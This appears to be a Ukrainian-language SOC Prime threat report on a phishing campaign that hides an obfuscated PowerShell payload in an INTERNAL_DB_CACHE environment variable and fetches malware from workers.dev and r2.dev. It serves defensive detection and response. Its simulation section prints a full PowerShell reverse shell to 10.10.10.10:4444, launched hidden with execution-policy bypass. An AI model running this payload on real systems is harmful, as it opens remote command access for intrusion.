SOC Prime Bias: Середній

05 Jun 2026 15:49 UTC

Повернення зловісного тла MSI

Author Photo
SOC Prime Team linkedin icon Стежити
Повернення зловісного тла MSI
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Фішинг-лист, що містить посилання WeTransfer, доставляє JavaScript-файл, який зберігає заплутане корисне навантаження всередині змінної середовища. Це навантаження пізніше розкодовується і виконується за допомогою PowerShell, запущеного через WMI, який завантажує шкідливий фоновий JPEG у стилі MSI та .NET DLL із Cloudflare Workers та сховища R2. DLL є модифікованою збіркою Microsoft.Win32.TaskScheduler використовується для завантаження подальших корисних навантажень і, можливо, для створення стійкості через заплановані завдання. Кампанія підкреслює, як зловмисники продовжують зловживати законними хмарними сервісами для хостингу та розповсюдження шкідливих компонентів.

Розслідування

Аналітик ідентифікував початковий JavaScript-файл названий Remittance Advice.js що містить код, обфусцований ROT13, який створює INTERNAL_DB_CACHE змінну середовища. Потім PowerShell запускається у прихованому вікні через WMI і виконує декодований блок скрипта. Цей скрипт отримує файл JPEG з workers.dev субдомену і файл PNG з публічного r2.dev багета, обидва, ймовірно, використовувалися для перенесення додаткових корисних навантажень через стеганографічні методи. Компонент фінальної стадії — це .NET DLL, отримана з бібліотеки TaskScheduler з відкритим вихідним кодом.

Захист

Організації повинні блокувати доступ до відомих шкідливих доменів, таких як we.tl, workers.dev, і r2.dev на рівні фаєрвола або проксі. Виконання PowerShell і створення процесів на основі WMI повинно бути обмежено для ненадійних користувачів де це можливо. Захисники також повинні моніторити приховане виконання PowerShell, зловживання методом Win32_Process.Create і незвичайні змінні середовища такі як INTERNAL_DB_CACHE. Файли, завантажені з публічного хмарного сховища, повинні підлягати строгій валідації та інспекції.

Відповідь

Команди безпеки повинні інформувати, коли PowerShell запущений з прихованим вікном через WMI і коли INTERNAL_DB_CACHE змінна створюється або змінюється. Будь-який процес, який підключається до визначених URL або завантажує вміст з workers.dev or r2.dev повинен негайно розслідуватися. Форензічний аналіз повинен зосередитися на виявленні шкідливого .NET DLL і виявленні новостворених запланованих завдань, що покладаються на бібліотеку TaskScheduler. Постраждалі хости повинні швидко бути відновлені, а вміст виявлення повинен оновлюватися з виявленими індикаторами.

Потік атаки

Виконання симуляції

Попередня умова: перевірка телеметрії та базового рівня повинна бути пройдена.

Пояснення: Цей розділ деталізує точне виконання техніки супротивника (TTP), розробленої для виклику правила детекції. Команди і наратив МУСЯТЬ безпосередньо відображати визначені TTP та прагнути згенерувати точну телеметрію, очікувану логікою детекції.

  • Хід атаки та команди:
    Атакуючий спочатку вводить закодоване в base64 навантаження PowerShell у змінну середовища рівня процесу, названу INTERNAL_DB_CACHE. Це навантаження, після декодування, запускає зворотну оболонку. Потім атакуючий викликає другий процес PowerShell, який читає змінну і виконує її через ScriptBlock::Create, таким чином утримуючи шкідливу команду поза безпосереднім командним рядком. Цей підхід “на життя-самопідтримку” уникає виявлення статичними сигнатурами і використовує двоступеневий шаблон, на який налаштував правило.

    1. Стадія 1 – Закодувати навантаження та зберегти в змінну середовища

      $payload = '$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
      $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
      [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    2. Стадія 2 – Виконати закодоване навантаження зі змінної середовища

      powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command [ScriptBlock]::Create([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($env:INTERNAL_DB_CACHE)))
  • Скрипт регресійного тесту: Скрипт нижче автоматизує два кроки, захоплює часові значення для кореляції та вставляє коротку затримку, щоб дозволити першому процесу завершитися до початку другого.

    # ----------------------------------------------
    # PowerShell симуляція закодованого навантаження в змінній середовища
    # ----------------------------------------------
    
    # Крок 1 – Закодувати нешкідливе навантаження зворотної оболонки (замість вашою адресою C2)
    $payload = '$Sleep = 5; Start-Sleep -Seconds $Sleep'   # Маленьке нешкідливе навантаження для безпечного тестування
    $enc = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($payload))
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $enc, "Process")
    Write-Host "[*] Змінна середовища INTERNAL_DB_CACHE встановлена."
    
    # Коротка затримка, щоб упевнитися, що перша команда зареєстрована
    Start-Sleep -Seconds 2
    
    # Крок 2 – Виконати навантаження зі змінної
    powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command `
    Write-Host "[*] Виконання навантаження запущено."
  • Команди очищення: Видаліть тимчасову змінну середовища і заверште будь-які випадкові процеси, створені під час тесту.

    # Видалити тестову змінну середовища
    [Environment]::SetEnvironmentVariable("INTERNAL_DB_CACHE", $null, "Process")
    Write-Host "[*] ОЧИСТКА – INTERNAL_DB_CACHE видалена."
    
    # Упевнитися, що не залишилося жодних сирітських процесів powershell.exe (виключити поточну сесію)
    Get-Process -Name "powershell" | Where-Object {$_.Id -ne $PID} | Stop-Process -Force
    Write-Host "[*] ОЧИСТКА – сирітські процеси PowerShell завершено."